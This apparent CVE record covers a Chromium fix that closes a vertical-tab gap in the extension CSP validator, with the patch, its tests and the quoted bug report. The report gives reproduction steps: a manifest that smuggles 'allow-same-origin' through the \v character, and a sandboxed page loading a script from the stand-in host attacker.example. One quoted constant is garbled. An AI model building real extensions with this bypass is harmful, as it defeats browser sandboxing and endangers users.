CVE-2026-12456
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TESTextensions/common/csp_validator_unittest.cc |
modified | |
forextensions/common/csp_validator_unittest.cc |
modified |
Files Changed
extensions/common/csp_validator.ccextensions/common/csp_validator_unittest.cc
Patch
From d84c69debed0c4fb7168d107046926513c09201c Mon Sep 17 00:00:00 2001
From: Andrea Orru <andreaorru@chromium.org>
Date: Fri, 05 Jun 2026 13:39:50 -0700
Subject: [PATCH] [Extensions] Fix CSP tokenizer discrepancy in manifest validation
A tokenizer discrepancy existed between the extension manifest CSP
validator and the runtime CSP parser (network service). The manifest
validator's internal tokenizer (CSPParser::Parse) used a restricted set
of whitespace delimiters (" \t\r\n\f") that lacked the vertical tab
character (\v), whereas the network service tokenizes on
base::kWhitespaceASCII. This discrepancy could allow a malicious
extension to bypass sandbox constraints by smuggling forbidden tokens
like 'allow-same-origin' using \v.
This CL updates CSPParser::Parse() to tokenize on
base::kWhitespaceASCII, ensuring consistency between the extension
validator and the network service parser.
Fixed: 517124587
Change-Id: I493a8563b0115dbdd5dbc66b6ac728bc6450aa9e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7904095
Reviewed-by: Devlin Cronin <rdevlin.cronin@chromium.org>
Commit-Queue: Andrea Orru <andreaorru@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1642566}
---
diff --git a/extensions/common/csp_validator.cc b/extensions/common/csp_validator.cc
index edfaee1..e307d19 100644
--- a/extensions/common/csp_validator.cc
+++ b/extensions/common/csp_validator.cc
@@ -71,9 +71,6 @@
"'sha512-"
};
-// https://infra.spec.whatwg.org/#ascii-whitespace.
-const char kWhitespaceDelimiters[] = " \t\r\n\f";
-
constexpr char kChromeResourcesUrl[] = "chrome://resources";
constexpr const char* const kExtensionsAllowedToUseChromeResources[] = {
extension_misc::kChromeVoxExtensionId,
@@ -575,7 +572,7 @@
policy_, ";", base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY)) {
// Get whitespace separated tokens.
std::vector<std::string_view> tokens = base::SplitStringPiece(
- directive_str, kWhitespaceDelimiters, base::TRIM_WHITESPACE,
+ directive_str, base::kWhitespaceASCII, base::TRIM_WHITESPACE,
base::SPLIT_WANT_NONEMPTY);
// |directive_str| is non-empty and has had whitespace trimmed. Hence, it
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index ffa831b..0ff437c 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -158,6 +158,12 @@
"default-src 'self';\rscript-src http://www.google.com"));
EXPECT_FALSE(ContentSecurityPolicyIsLegal(
"default-src 'self';,script-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\vscript-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\tscript-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\fscript-src http://www.google.com"));
}
TEST(ExtensionCSPValidator, IsSecure) {
@@ -626,8 +632,8 @@
std::vector<TestCase> cases;
- cases.emplace_back(" \n \r \t ", DirectiveList());
- cases.emplace_back(" ; \n ;\r \t ;;", DirectiveList());
+ cases.emplace_back(" \n \r \t \v \f ", DirectiveList());
+ cases.emplace_back(" ; \n ;\r \t \v \f ;;", DirectiveList());
const char* policy = R"( deFAULt-src 'self' ;
img-src * ; media-src media1.com MEDIA2.com;
@@ -645,6 +651,20 @@
std::vector<std::string_view>({"'self'"}));
cases.emplace_back(policy, std::move(expected_directives));
+ const char* whitespace_policy =
+ "default-src\v'self';\tscript-src\fhttp://www.google.com";
+ DirectiveList whitespace_directives;
+ whitespace_directives.emplace_back(
+ /*directive_string=*/"default-src\v'self'",
+ /*directive_name=*/"default-src",
+ /*directive_values=*/std::vector<std::string_view>({"'self'"}));
+ whitespace_directives.emplace_back(
+ /*directive_string=*/"script-src\fhttp://www.google.com",
+ /*directive_name=*/"script-src",
+ /*directive_values=*/
+ std::vector<std::string_view>({"http://www.google.com"}));
+ cases.emplace_back(whitespace_policy, std::move(whitespace_directives));
+
for (const auto& test_case : cases) {
SCOPED_TRACE(test_case.policy);
Regression Test / PoC
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index ffa831b..0ff437c 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -158,6 +158,12 @@
"default-src 'self';\rscript-src http://www.google.com"));
EXPECT_FALSE(ContentSecurityPolicyIsLegal(
"default-src 'self';,script-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\vscript-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\tscript-src http://www.google.com"));
+ EXPECT_TRUE(ContentSecurityPolicyIsLegal(
+ "default-src 'self';\fscript-src http://www.google.com"));
}
TEST(ExtensionCSPValidator, IsSecure) {
@@ -626,8 +632,8 @@
std::vector<TestCase> cases;
- cases.emplace_back(" \n \r \t ", DirectiveList());
- cases.emplace_back(" ; \n ;\r \t ;;", DirectiveList());
+ cases.emplace_back(" \n \r \t \v \f ", DirectiveList());
+ cases.emplace_back(" ; \n ;\r \t \v \f ;;", DirectiveList());
const char* policy = R"( deFAULt-src 'self' ;
img-src * ; media-src media1.com MEDIA2.com;
@@ -645,6 +651,20 @@
std::vector<std::string_view>({"'self'"}));
cases.emplace_back(policy, std::move(expected_directives));
+ const char* whitespace_policy =
+ "default-src\v'self';\tscript-src\fhttp://www.google.com";
+ DirectiveList whitespace_directives;
+ whitespace_directives.emplace_back(
+ /*directive_string=*/"default-src\v'self'",
+ /*directive_name=*/"default-src",
+ /*directive_values=*/std::vector<std::string_view>({"'self'"}));
+ whitespace_directives.emplace_back(
+ /*directive_string=*/"script-src\fhttp://www.google.com",
+ /*directive_name=*/"script-src",
+ /*directive_values=*/
+ std::vector<std::string_view>({"http://www.google.com"}));
+ cases.emplace_back(whitespace_policy, std::move(whitespace_directives));
+
for (const auto& test_case : cases) {
SCOPED_TRACE(test_case.policy);
Original Bug Report
Sandbox CSP Bypass via U+000B (vertical tab) Directive-Name Smuggling
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential tokenizer discrepancy between the extension manifest CSP validator and the runtime CSP parser allows a malicious extension to bypass sandbox constraints. By utilizing a U+000B (vertical tab) character, an extension can smuggle the forbidden ‘allow-same-origin’ token past manifest checks. At runtime, the network service splits on this character, loading the sandboxed page with privileged same-origin access rather than a unique opaque origin.
Affected files:
extensions/common/csp_validator.cc
Estimated timestamp from git blame: 2026-04-07
Description
A potential tokenizer differential (CWE-436) exists between the extension manifest Content Security Policy (CSP) validator and the runtime Content Security Policy parser. This vulnerability could allow a malicious extension to pass manifest validation with a sandbox CSP that the validator believes does not contain allow-same-origin, but which is parsed at runtime as containing it. Consequently, a sandboxed page (which is allowed to load remote scripts under Manifest V3) can execute with same-origin access to the extension’s actual origin (chrome-extension://<id>) instead of a unique opaque origin. This allows the executed remote script to script a privileged extension document (e.g., via window.opener) and call privileged chrome APIs, bypassing MV3 remote code execution boundaries.
Technical Analysis
1. Manifest Validator Behavior (Install Time)
In extensions/common/csp_validator.cc, the validator parses and tokenizes CSP directives using kWhitespaceDelimiters:
// extensions/common/csp_validator.cc
const char kWhitespaceDelimiters[] = " \ \
\
\";
This set includes the form-feed character \f but is missing the vertical tab \v (byte 0x0B).
During validation, ContentSecurityPolicyIsSandboxed() parses the sandbox CSP. If a policy like sandbox\x0ballow-same-origin allow-scripts; sandbox allow-scripts is evaluated, the parser splits the directive on semicolons. For the first directive, it splits tokens using kWhitespaceDelimiters. Because 0x0B is not a delimiter, the first token is extracted as "sandbox\x0ballow-same-origin". Since this does not match "sandbox" (kSandboxDirectiveName), the validator ignores this entire directive. The second directive (sandbox allow-scripts) is processed successfully, leading the validator to conclude that the sandbox is secure and does not permit same-origin access.
Additionally, ContentSecurityPolicyIsLegal() only rejects ',', '\r', '\n', and '\0', meaning the 0x0B byte is permitted to reach the runtime parser.
2. Network Service Behavior (Runtime Parsing)
At runtime, the Content Security Policy parser in the network service splits directive names and values using base::kWhitespaceASCII:
// services/network/public/cpp/content_security_policy/content_security_policy.cc
size_t pos = directive.find_first_of(base::kWhitespaceASCII);
std::string_view name = directive.substr(0, pos);
As defined in base/strings/string_util_constants.cc, base::kWhitespaceASCII explicitly includes 0x0B.
At runtime, when the page is loaded, the browser parses "sandbox\x0ballow-same-origin" and splits on 0x0B. It successfully identifies "sandbox" as the directive name and "allow-same-origin allow-scripts" as the directive value. To comply with the W3C duplicate-prevention specification, the subsequent duplicate directive (sandbox allow-scripts) is discarded.
As a result, the page commits with sandbox flags that do not include the kOrigin restriction, allowing it to retain same-origin access to the extension context.
3. Privileged API Access (Exploitation)
While the sandboxed page is still classified as a kWebPage context inside the renderer (which blocks direct chrome bindings), the page has same-origin relations with its parent/opener. It can script its opener (e.g. window.opener.eval(...)) via standard same-origin window interaction. Because the opener is a privileged extension context (kPrivilegedExtension), the attacker can execute arbitrary code inside the opener and call any privileged chrome.* APIs.
Potential Steps to Reproduce
Note: These are potential steps and code configurations. Our analysis is based on static code tracing, as our tooling does not currently have the capability to execute code in a live environment.
- Create a Manifest V3 extension containing the following keys:
{
"manifest_version": 3,
"name": "Sandbox CSP Bypass",
"version": "1.0",
"sandbox": {
"pages": ["sandboxed.html"]
},
"content_security_policy": {
"sandbox": "sandbox\u000ballow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox; sandbox allow-scripts allow-popups allow-popups-to-escape-sandbox"
}
}
- Add
sandboxed.htmlwith a remote script reference:
<!DOCTYPE html>
<html>
<head>
<script src="https://attacker.example/payload.js"></script>
</head>
<body></body>
</html>
- Load the extension. It should pass manifest validation and install successfully.
- Navigate to
chrome-extension://<extension_id>/sandboxed.html. - Observe if
document.location.originevaluates to the extension’s same-origin rather than"null"(opaque origin), allowing the remote script to interact with regular same-origin extension contexts viawindow.opener.
Suggested Remediation
Update kWhitespaceDelimiters in extensions/common/csp_validator.cc to include the vertical tab character (\v / \x0B / \t’s cousin) so that the manifest validator parses whitespace consistently with the network service and Blink.
Alternatively, add \x0B to the list of prohibited characters inside ContentSecurityPolicyIsLegal() in extensions/common/csp_validator.cc to prevent any vertical tab character from reaching the runtime parser:
bool ContentSecurityPolicyIsLegal(const std::string& policy) {
const char kBadChars[] = {',', '\r', '\n', '\0', '\v'};
return policy.find_first_of(kBadChars, 0, std::size(kBadChars)) ==
std::string::npos;
}
Evaluated with Chrome root at commit: b1520ef4a76878853a31f0943b565e42060edec8
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.